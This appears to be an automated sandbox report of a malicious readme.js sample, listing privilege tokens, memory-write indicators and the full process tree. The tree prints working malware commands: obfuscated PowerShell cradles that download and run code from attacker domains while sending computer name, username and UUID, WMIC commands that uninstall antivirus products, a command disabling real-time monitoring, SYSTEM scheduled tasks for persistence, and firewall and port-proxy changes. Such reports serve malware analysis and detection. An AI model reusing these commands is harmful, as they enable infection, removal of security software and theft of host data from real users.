Token: SeCreatePagefilePrivilege	1664	WMIC.exe
Token: SeBackupPrivilege	1664	WMIC.exe
Token: SeRestorePrivilege	1664	WMIC.exe
Token: SeShutdownPrivilege	1664	WMIC.exe
Token: SeDebugPrivilege	1664	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1664	WMIC.exe
Token: SeRemoteShutdownPrivilege	1664	WMIC.exe
Token: SeUndockPrivilege	1664	WMIC.exe
Token: SeManageVolumePrivilege	1664	WMIC.exe
Token: 33	1664	WMIC.exe
Token: 34	1664	WMIC.exe
Token: 35	1664	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1172	WMIC.exe
Token: SeSecurityPrivilege	1172	WMIC.exe
Token: SeTakeOwnershipPrivilege	1172	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

Processes:

taskmgr.exe

pid	process
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe
1340	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

wscript.execmd.exepowershell.execmd.execmd.execmd.execmd.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1932 wrote to memory of 1528	1932	wscript.exe	cmd.exe
PID 1932 wrote to memory of 1528	1932	wscript.exe	cmd.exe
PID 1932 wrote to memory of 1528	1932	wscript.exe	cmd.exe
PID 1528 wrote to memory of 896	1528	cmd.exe	notepad.exe
PID 1528 wrote to memory of 896	1528	cmd.exe	notepad.exe
PID 1528 wrote to memory of 896	1528	cmd.exe	notepad.exe
PID 1528 wrote to memory of 1180	1528	cmd.exe	powershell.exe
PID 1528 wrote to memory of 1180	1528	cmd.exe	powershell.exe
PID 1528 wrote to memory of 1180	1528	cmd.exe	powershell.exe
PID 1180 wrote to memory of 760	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 760	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 760	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1948	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1948	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1948	1180	powershell.exe	cmd.exe
PID 1948 wrote to memory of 1564	1948	cmd.exe	WMIC.exe
PID 1948 wrote to memory of 1564	1948	cmd.exe	WMIC.exe
PID 1948 wrote to memory of 1564	1948	cmd.exe	WMIC.exe
PID 1180 wrote to memory of 1812	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1812	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1812	1180	powershell.exe	cmd.exe
PID 1812 wrote to memory of 1664	1812	cmd.exe	WMIC.exe
PID 1812 wrote to memory of 1664	1812	cmd.exe	WMIC.exe
PID 1812 wrote to memory of 1664	1812	cmd.exe	WMIC.exe
PID 1180 wrote to memory of 1852	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1852	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1852	1180	powershell.exe	cmd.exe
PID 1852 wrote to memory of 1092	1852	cmd.exe	WMIC.exe
PID 1852 wrote to memory of 1092	1852	cmd.exe	WMIC.exe
PID 1852 wrote to memory of 1092	1852	cmd.exe	WMIC.exe
PID 1180 wrote to memory of 2028	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 2028	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 2028	1180	powershell.exe	cmd.exe
PID 2028 wrote to memory of 1172	2028	cmd.exe	WMIC.exe
PID 2028 wrote to memory of 1172	2028	cmd.exe	WMIC.exe
PID 2028 wrote to memory of 1172	2028	cmd.exe	WMIC.exe
PID 1180 wrote to memory of 1580	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1580	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1580	1180	powershell.exe	cmd.exe
PID 1580 wrote to memory of 1696	1580	cmd.exe	WMIC.exe
PID 1580 wrote to memory of 1696	1580	cmd.exe	WMIC.exe
PID 1580 wrote to memory of 1696	1580	cmd.exe	WMIC.exe
PID 1180 wrote to memory of 1728	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1728	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1728	1180	powershell.exe	cmd.exe
PID 1728 wrote to memory of 1644	1728	cmd.exe	WMIC.exe
PID 1728 wrote to memory of 1644	1728	cmd.exe	WMIC.exe
PID 1728 wrote to memory of 1644	1728	cmd.exe	WMIC.exe
PID 1180 wrote to memory of 1348	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1348	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 1348	1180	powershell.exe	cmd.exe
PID 1348 wrote to memory of 1204	1348	cmd.exe	WMIC.exe
PID 1348 wrote to memory of 1204	1348	cmd.exe	WMIC.exe
PID 1348 wrote to memory of 1204	1348	cmd.exe	WMIC.exe
PID 1180 wrote to memory of 872	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 872	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 872	1180	powershell.exe	cmd.exe
PID 1180 wrote to memory of 2072	1180	powershell.exe	schtasks.exe
PID 1180 wrote to memory of 2072	1180	powershell.exe	schtasks.exe
PID 1180 wrote to memory of 2072	1180	powershell.exe	schtasks.exe
PID 1180 wrote to memory of 2112	1180	powershell.exe	schtasks.exe
PID 1180 wrote to memory of 2112	1180	powershell.exe	schtasks.exe
PID 1180 wrote to memory of 2112	1180	powershell.exe	schtasks.exe
PID 1180 wrote to memory of 2296	1180	powershell.exe	schtasks.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\readme.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1932

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /b notepad C:\Users\Admin\AppData\Local\Temp\readme.js & powershell -w hidden IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString('http://t.z'+'er9g.com/7p.php?0.7*mail_js*Admin*EIDQHRRL*'+[Environment]::OSVersion.version.Major);bpu ('http://t.z'+'er9g.com/mail.jsp?js_0.7')
2⤵
- Suspicious use of WriteProcessMemory
PID:1528

C:\Windows\system32\notepad.exe
notepad C:\Users\Admin\AppData\Local\Temp\readme.js
3⤵
- Opens file in notepad (likely ransom note)
PID:896

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden IE`x(Ne`w-Obj`ect Net.WebC`lient).DownLoadString('http://t.z'+'er9g.com/7p.php?0.7*mail_js*Admin*EIDQHRRL*'+[Environment]::OSVersion.version.Major);bpu ('http://t.z'+'er9g.com/mail.jsp?js_0.7')
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1180

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c echo Set-MpPreference -DisableRealtimeMonitoring 1
4⤵
PID:760

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c start /b wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
4⤵
- Suspicious use of WriteProcessMemory
PID:1948

C:\Windows\System32\Wbem\WMIC.exe
wmic.exe product where "name like '%Eset%'" call uninstall /nointeractive
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1564

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c start /b wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
4⤵
- Suspicious use of WriteProcessMemory
PID:1812

C:\Windows\System32\Wbem\WMIC.exe
wmic.exe product where "name like '%%Kaspersky%%'" call uninstall /nointeractive
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1664

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c start /b wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
4⤵
- Suspicious use of WriteProcessMemory
PID:1852

C:\Windows\System32\Wbem\WMIC.exe
wmic.exe product where "name like '%avast%'" call uninstall /nointeractive
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1092

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c start /b wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
4⤵
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\System32\Wbem\WMIC.exe
wmic.exe product where "name like '%avp%'" call uninstall /nointeractive
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1172

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c start /b wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
4⤵
- Suspicious use of WriteProcessMemory
PID:1580

C:\Windows\System32\Wbem\WMIC.exe
wmic.exe product where "name like '%Security%'" call uninstall /nointeractive
5⤵
PID:1696

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c start /b wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
4⤵
- Suspicious use of WriteProcessMemory
PID:1728

C:\Windows\System32\Wbem\WMIC.exe
wmic.exe product where "name like '%AntiVirus%'" call uninstall /nointeractive
5⤵
PID:1644

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c start /b wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
4⤵
- Suspicious use of WriteProcessMemory
PID:1348

C:\Windows\System32\Wbem\WMIC.exe
wmic.exe product where "name like '%Norton Security%'" call uninstall /nointeractive
5⤵
PID:1204

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c C:\Progra~1\Malwarebytes\Anti-Malware\unins000.exe /verysilent /suppressmsgboxes /norestart
4⤵
PID:872

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /ru system /sc MINUTE /mo 120 /tn blackball /F /tr blackball
4⤵
- Creates scheduled task(s)
PID:2072

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn \5E73AscDe2d /F /tr "powershell -w hidden -c PS_CMD"
4⤵
- Creates scheduled task(s)
PID:2112

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn \5E73AscDe2d
4⤵
PID:2296

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn tw6XxSsGFpu\TBOf76Y /F /tr "powershell -w hidden -c PS_CMD"
4⤵
- Creates scheduled task(s)
PID:2072

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn tw6XxSsGFpu\TBOf76Y
4⤵
PID:1664

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /create /ru system /sc MINUTE /mo 60 /tn MicroSoft\Windows\rDpfKEdQXP\qCRJcTpUK /F /tr "powershell -w hidden -c PS_CMD"
4⤵
- Creates scheduled task(s)
PID:2584

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn MicroSoft\Windows\rDpfKEdQXP\qCRJcTpUK
4⤵
PID:2732

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c netsh.exe firewall add portopening tcp 65529 SDNSd
4⤵
PID:1356

C:\Windows\system32\netsh.exe
netsh.exe firewall add portopening tcp 65529 SDNSd
5⤵
PID:2552

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53
4⤵
PID:3120

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=deny445 dir=in protocol=tcp localport=445 action=block
4⤵
PID:3160

C:\Windows\system32\netsh.exe
"C:\Windows\system32\netsh.exe" advfirewall firewall add rule name=deny135 dir=in protocol=tcp localport=135 action=block
4⤵
PID:3216

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /delete /tn Rtsa2 /F
4⤵
PID:3252

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /delete /tn Rtsa1 /F
4⤵
PID:3264

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /delete /tn Rtsa /F
4⤵
PID:3276

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2132

C:\Windows\system32\taskeng.exe
taskeng.exe {6C3F046A-A24A-450C-8E89-71042E45AF3C} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:2320

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.zz3'+'r0.com';a($url+'/a.jsp?mail_20210218?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -w hidden -c function a($u){$d=(Ne`w-Obj`ect Net.WebC`lient)."DownloadData"($u);$c=$d.count;if($c -gt 173){$b=$d[173..$c];$p=New-Object Security.Cryptography.RSAParameters;$p.Modulus=[convert]::FromBase64String('2mWo17uXvG1BXpmdgv8v/3NTmnNubHtV62fWrk4jPFI9wM3NN2vzTzticIYHlm7K3r2mT/YR0WDciL818pLubLgum30r0Rkwc8ZSAc3nxzR4iqef4hLNeUCnkWqulY5C0M85bjDLCpjblz/2LpUQcv1j1feIY6R7rpfqOLdHa10=');$p.Exponent=0x01,0x00,0x01;$r=New-Object Security.Cryptography.RSACryptoServiceProvider;$r.ImportParameters($p);if($r.verifyData($b,(New-Object Security.Cryptography.SHA1CryptoServiceProvider),[convert]::FromBase64String(-join([char[]]$d[0..171])))){I`ex(-join[char[]]$b)}}}$url='http://'+'t.zer'+'9g.com';a($url+'/a.jsp?mail_20210218?'+(@($env:COMPUTERNAME,$env:USERNAME,(get-wmiobject Win32_ComputerSystemProduct).UUID,(random))-join'*'))
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2628

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='727753b00afea107203a693b45e9fd24';$ifp=$env:tmp+'\if.bin';$down_url='http://d.ttr3p.com';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^^^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(Ne`w-Obj`ect Net.WebC`lient).downloaddata($down_url+'/if.bin?^^^&EIDQHRRL^^^&00000000-0000-0000-0000-000000000000^^^&42:4A:BE:5A:77:6C');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}I`EX(-join[char[]]$con)|biJkcCEA.exe -
3⤵
- Loads dropped DLL
PID:1488

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='727753b00afea107203a693b45e9fd24';$ifp=$env:tmp+'\if.bin';$down_url='http://d.ttr3p.com';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(Ne`w-Obj`ect Net.WebC`lient).downloaddata($down_url+'/if.bin?^&EIDQHRRL^&00000000-0000-0000-0000-000000000000^&42:4A:BE:5A:77:6C');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}I`EX(-join[char[]]$con)"
4⤵
PID:3040

C:\Windows\System32\WindowsPowerShell\v1.0\biJkcCEA.exe
biJkcCEA.exe -
4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3068

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\f5hj1zbh\f5hj1zbh.cmdline"
5⤵
PID:3848

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RES279D.tmp" "c:\Windows\Temp\f5hj1zbh\CSCC9AA070B58D04584A89E871DCB5677EF.TMP"
6⤵
PID:4048

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\nmvk3spo\nmvk3spo.cmdline"
5⤵
PID:892

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RES2F3B.tmp" "c:\Windows\Temp\nmvk3spo\CSC7FDDEC82A16F489D8239AB599BAC44.TMP"
6⤵
PID:3376

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
5⤵
PID:3320

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\cfmypwl0\cfmypwl0.cmdline"
6⤵
PID:476

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RESE531.tmp" "c:\Windows\Temp\cfmypwl0\CSCEBFE6450C2224554919A2F1BB96461F.TMP"
7⤵
PID:3328

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\ruaz535h\ruaz535h.cmdline"
5⤵
PID:2436

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RESB7DA.tmp" "c:\Windows\Temp\ruaz535h\CSC228D84EF599C4C40B0A4591652A9E121.TMP"
6⤵
PID:2524

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\frp2jgjf\frp2jgjf.cmdline"
5⤵
PID:3628

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RES35C0.tmp" "c:\Windows\Temp\frp2jgjf\CSCFB632C7FC5C4E23AEA7715F7D6C75D2.TMP"
6⤵
PID:3668

C:\Windows\system32\ipconfig.exe
"C:\Windows\system32\ipconfig.exe" /all
5⤵
- Gathers network information
PID:2128

C:\Windows\system32\ipconfig.exe
"C:\Windows\system32\ipconfig.exe" /displaydns
5⤵
- Gathers network information
PID:2476

C:\Windows\system32\NETSTAT.EXE
"C:\Windows\system32\NETSTAT.EXE" -ano
5⤵
- Gathers network information
PID:1156

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='dcd9144d509e7c6e1e63ecdd7e50e935';$ifp=$env:tmp+'\m6.bin';$down_url='http://d.ttr3p.com';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^^^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(Ne`w-Obj`ect Net.WebC`lient).downloaddata($down_url+'/m6.bin?^^^&EIDQHRRL^^^&00000000-0000-0000-0000-000000000000^^^&42:4A:BE:5A:77:6C');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}for($i=0;$i -lt $con.count-1;$i+=1){if($con[$i] -eq 0x0a){break}};i`ex(-join[char[]]$con[0..$i]);$bin=(New-Object IO.BinaryReader(New-Object System.IO.Compression.GzipStream (New-Object System.IO.MemoryStream(,$con[($i+1)..($con.count)])), ([IO.Compression.CompressionMode]::Decompress))).ReadBytes(10000000);$bin_=$bin.Clone();$mep=$env:tmp+'\m6.bin.ori';[System.IO.File]::WriteAllBytes($mep,$bin_+((1..127)^^^|Get-Random -Count 100));test1 -PEBytes $bin|biJkcCEA.exe - &cmd /c copy /y %tmp%\m6.bin.ori %tmp%\m6.bin.exe & %tmp%\m6.bin.exe
3⤵
- Loads dropped DLL
PID:3036

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='dcd9144d509e7c6e1e63ecdd7e50e935';$ifp=$env:tmp+'\m6.bin';$down_url='http://d.ttr3p.com';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(Ne`w-Obj`ect Net.WebC`lient).downloaddata($down_url+'/m6.bin?^&EIDQHRRL^&00000000-0000-0000-0000-000000000000^&42:4A:BE:5A:77:6C');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}for($i=0;$i -lt $con.count-1;$i+=1){if($con[$i] -eq 0x0a){break}};i`ex(-join[char[]]$con[0..$i]);$bin=(New-Object IO.BinaryReader(New-Object System.IO.Compression.GzipStream (New-Object System.IO.MemoryStream(,$con[($i+1)..($con.count)])), ([IO.Compression.CompressionMode]::Decompress))).ReadBytes(10000000);$bin_=$bin.Clone();$mep=$env:tmp+'\m6.bin.ori';[System.IO.File]::WriteAllBytes($mep,$bin_+((1..127)^|Get-Random -Count 100));test1 -PEBytes $bin"
4⤵
PID:2140

C:\Windows\System32\WindowsPowerShell\v1.0\biJkcCEA.exe
biJkcCEA.exe -
4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2788

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2788 -s 1876
5⤵
- Loads dropped DLL
- Program crash
- Suspicious behavior: EnumeratesProcesses
PID:3908

C:\Windows\system32\cmd.exe
cmd /c copy /y C:\Windows\TEMP\m6.bin.ori C:\Windows\TEMP\m6.bin.exe
4⤵
PID:2744

C:\Windows\TEMP\m6.bin.exe
C:\Windows\TEMP\m6.bin.exe
4⤵
- Executes dropped EXE
PID:1776

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='e04acec7ab98362d87d1c53d84fc4b03';$ifp=$env:tmp+'\kr.bin';$down_url='http://d.ttr3p.com';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^^^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(Ne`w-Obj`ect Net.WebC`lient).downloaddata($down_url+'/kr.bin?^^^&EIDQHRRL^^^&00000000-0000-0000-0000-000000000000^^^&42:4A:BE:5A:77:6C');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}I`EX(-join[char[]]$con)|biJkcCEA.exe -
3⤵
PID:2112

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='e04acec7ab98362d87d1c53d84fc4b03';$ifp=$env:tmp+'\kr.bin';$down_url='http://d.ttr3p.com';function gmd5($con){[System.Security.Cryptography.MD5]::Create().ComputeHash($con)^|foreach{$s+=$_.ToString('x2')};return $s}if(test-path $ifp){$con_=[System.IO.File]::ReadAllBytes($ifp);$md5_=gmd5 $con_;if($md5_-eq$ifmd5){$noup=1}}if(!$noup){$con=(Ne`w-Obj`ect Net.WebC`lient).downloaddata($down_url+'/kr.bin?^&EIDQHRRL^&00000000-0000-0000-0000-000000000000^&42:4A:BE:5A:77:6C');$t=gmd5 $con;if($t-eq$ifmd5){[System.IO.File]::WriteAllBytes($ifp,$con)}else{$noup=1}}if($noup){$con=$con_;$ifmd5=$md5_}I`EX(-join[char[]]$con)"
4⤵
PID:2192

C:\Windows\System32\WindowsPowerShell\v1.0\biJkcCEA.exe
biJkcCEA.exe -
4⤵
- Executes dropped EXE
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1564

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Windows\TEMP\j3wn4yby\j3wn4yby.cmdline"
5⤵
PID:2380

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Windows\TEMP\RESD72D.tmp" "c:\Windows\Temp\j3wn4yby\CSCAFD0837FE44847118E3FE9B1E05923A5.TMP"
6⤵
PID:1320

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config xWinWpdSrv Start= Disabled
5⤵
PID:2924

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop xWinWpdSrv
5⤵
PID:1348

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete xWinWpdSrv
5⤵
PID:2964

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Config SVSHost Start= Disabled
5⤵
PID:1064

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Stop SVSHost
5⤵
PID:2976

C:\Windows\system32\sc.exe
"C:\Windows\system32\sc.exe" Delete SVSHost
5⤵
PID:2080

